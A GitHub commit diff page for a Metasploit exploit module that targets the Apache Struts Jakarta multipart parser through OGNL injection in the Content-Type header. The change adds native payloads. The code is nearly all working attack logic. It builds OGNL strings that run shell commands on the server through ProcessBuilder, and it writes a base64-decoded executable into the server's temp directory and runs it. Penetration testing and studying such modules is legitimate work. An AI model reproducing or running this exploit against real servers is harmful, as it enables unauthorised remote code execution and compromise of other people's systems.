Skip to content

Commit 53c9caa

Browse files
committed
Allow native payloads
1 parent 2053b77 commit 53c9caa

File tree

1 file changed

+51
-37
lines changed

1 file changed

+51
-37
lines changed

modules/exploits/multi/http/struts2_content_type_ognl.rb

Lines changed: 51 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -9,14 +9,19 @@ class MetasploitModule < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::EXE
1213

1314
def initialize(info = {})
1415
super(update_info(info,
15-
'Name' => 'Apache Struts Jakarta Multipart Parser Remote Code Execution',
16+
'Name' => 'Apache Struts Jakarta Multipart Parser OGNL Injection',
1617
'Description' => %q{
1718
This module exploits a remote code execution vunlerability in Apache Struts
18-
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
19+
version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can be performed
1920
via http Content-Type header.
21+
22+
Native payloads will be converted to executables and dropped in the
23+
server's temp dir. If this fails, try a cmd/* payload, which won't
24+
have to write to the disk.
2025
},
2126
'Author' => [
2227
'Nike.Zheng', # PoC
@@ -33,7 +38,7 @@ def initialize(info = {})
3338
[
3439
'Universal', {
3540
'Platform' => %w{ unix windows linux },
36-
'Arch' => [ ARCH_CMD, ARCH_JAVA ],
41+
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
3742
},
3843
],
3944
],
@@ -48,9 +53,11 @@ def initialize(info = {})
4853
)
4954
register_advanced_options(
5055
[
51-
OptString.new('HTTP::Method', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
56+
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ])
5257
]
5358
)
59+
60+
@data_header = "X-#{rand_text_alpha(4)}"
5461
end
5562

5663
def check
@@ -61,7 +68,7 @@ def check
6168
ognl << %q|(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('|+var_a+%q|', #os))|
6269

6370
begin
64-
resp = send_http_request(ognl)
71+
resp = send_struts_request(ognl)
6572
rescue Msf::Exploit::Failed
6673
return Exploit::CheckCode::Unknown
6774
end
@@ -76,18 +83,20 @@ def check
7683

7784
def exploit
7885
case payload.arch.first
79-
when ARCH_JAVA
80-
datastore['LHOST'] = nil
81-
resp = send_payload(payload.encoded_jar)
86+
#when ARCH_JAVA
87+
# datastore['LHOST'] = nil
88+
# resp = send_payload(payload.encoded_jar)
8289
when ARCH_CMD
8390
resp = execute_command(payload.encoded)
91+
else
92+
resp = send_payload(generate_payload_exe)
8493
end
8594

86-
#require'pp'
87-
#pp resp.headers if resp
95+
require'pp'
96+
pp resp.headers if resp
8897
end
8998

90-
def send_http_request(ognl, method: 'LOLWUT', stuff: '')
99+
def send_struts_request(ognl, extra_header: '')
91100
uri = normalize_uri(datastore["TARGETURI"])
92101
content_type = "%{(#_='multipart/form-data')."
93102
content_type << "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
@@ -102,18 +111,16 @@ def send_http_request(ognl, method: 'LOLWUT', stuff: '')
102111
content_type << "}"
103112

104113
headers = { 'Content-Type' => content_type }
105-
if stuff
106-
headers['stuff'] = stuff
114+
if extra_header
115+
headers[@data_header] = extra_header
107116
end
108117

109118
#puts content_type.gsub(").", ").\n")
110119
#puts
111-
#puts content_type.length
112-
#puts
113120

114121
resp = send_request_cgi(
115122
'uri' => uri,
116-
'method' => method,
123+
'method' => datastore['HTTPMethod'],
117124
'headers' => headers
118125
)
119126

@@ -125,37 +132,44 @@ def send_http_request(ognl, method: 'LOLWUT', stuff: '')
125132

126133
def execute_command(cmd)
127134
ognl = ''
128-
ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
129-
ognl << %q|(#[email protected]@getRequest().getHeader('stuff')).|
130-
ognl << %q|(#r.addHeader('decoded',#cmd)).|
135+
ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).|
136+
137+
# You can add headers to the server's response for debugging with this:
138+
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
139+
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
140+
131141
ognl << %q|(#[email protected]@getProperty('os.name')).|
132142
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
133143
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
134-
ognl << "(#p.redirectErrorStream(true))."
135-
ognl << "(#process=#p.start())."
136-
137-
ognl << %q|(#r.addHeader('end','end'))|
144+
ognl << %q|(#p.redirectErrorStream(true)).|
145+
ognl << %q|(#process=#p.start())|
138146

139-
send_http_request(ognl, stuff: cmd)
147+
send_struts_request(ognl, extra_header: cmd)
140148
end
141149

142-
def send_payload(jar)
150+
def send_payload(exe)
151+
143152
ognl = ""
144-
ognl << %q|(#[email protected]@getRequest().getHeader('stuff')).|
145-
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#stuff)).|
146-
ognl << %q|(#[email protected]@createTempFile('metasploit','.jar')).|
153+
ognl << %Q|(#[email protected]@getRequest().getHeader('#{@data_header}')).|
154+
ognl << %Q|(#[email protected]@createTempFile('#{rand_text_alpha(4)}','.exe')).|
155+
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
156+
#ognl << %q|(#r.addHeader('file',#f.getAbsolutePath())).|
157+
ognl << %q|(#f.setExecutable(true)).|
147158
ognl << %q|(#f.deleteOnExit()).|
148159
ognl << %q|(#fos=new java.io.FileOutputStream(#f)).|
160+
161+
# Using stuff from the sun.* package here means it likely won't work on
162+
# non-Oracle JVMs, but the b64 decoder in Apache Commons doesn't seem to
163+
# work and I don't see a better way of getting binary data onto the
164+
# system. =/
165+
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).|
149166
ognl << %q|(#fos.write(#d)).|
150-
ognl << %q|(#r='com.opensymphony.xwork2.dispatcher.HttpServletResponse').|
167+
ognl << %q|(#fos.close()).|
151168

152-
ognl << %q|(#context[#r].addHeader('stuff',#d[0])).|
153-
ognl << %q|(#p=new java.lang.ProcessBuilder({'/usr/bin/java','-jar',#f.getAbsolutePath()})).|
154-
ognl << %q|(#context[#r].addHeader('stuff',#f.getAbsolutePath())).|
155-
ognl << %q|(#p.start()).|
169+
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
170+
ognl << %q|(#p.start())|
156171

157-
ognl << %q|(#context[#r].addHeader('end','end'))|
158-
send_http_request(ognl, stuff: [jar.pack].pack("m").delete("\n"))
172+
send_struts_request(ognl, extra_header: [exe].pack("m").delete("\n"))
159173
end
160174

161175
end
@@ -165,8 +179,8 @@ def send_payload(jar)
165179
166180
ognl << %q|(#cl=new java.net.URLClassLoader(new java.net.URL[]{#f.toURI().toURL()})).|
167181
ognl << %q|(#c=#cl.loadClass('metasploit.Payload')).|
168-
ognl << %q|(#[email protected]@getMethods(#c,'run',true).get(0)).|
169-
ognl << %q|(#context[#r].addHeader('meth',#m.toGenericString())).|
182+
ognl << %q|(#[email protected]@getMethods(#c,'main',true).get(0)).|
183+
ognl << %q|(#r.addHeader('meth',#m.toGenericString())).|
170184
ognl << %q|(#m.invoke(null,null)).|
171185
172186
#ognl << %q|(#m=#c.getMethod('run',@java.lang.Class@forName('java.lang.Object'))).| # java.lang.IllegalArgumentException: java.lang.ClassCastException@58ce5ef0

0 commit comments

Comments
 (0)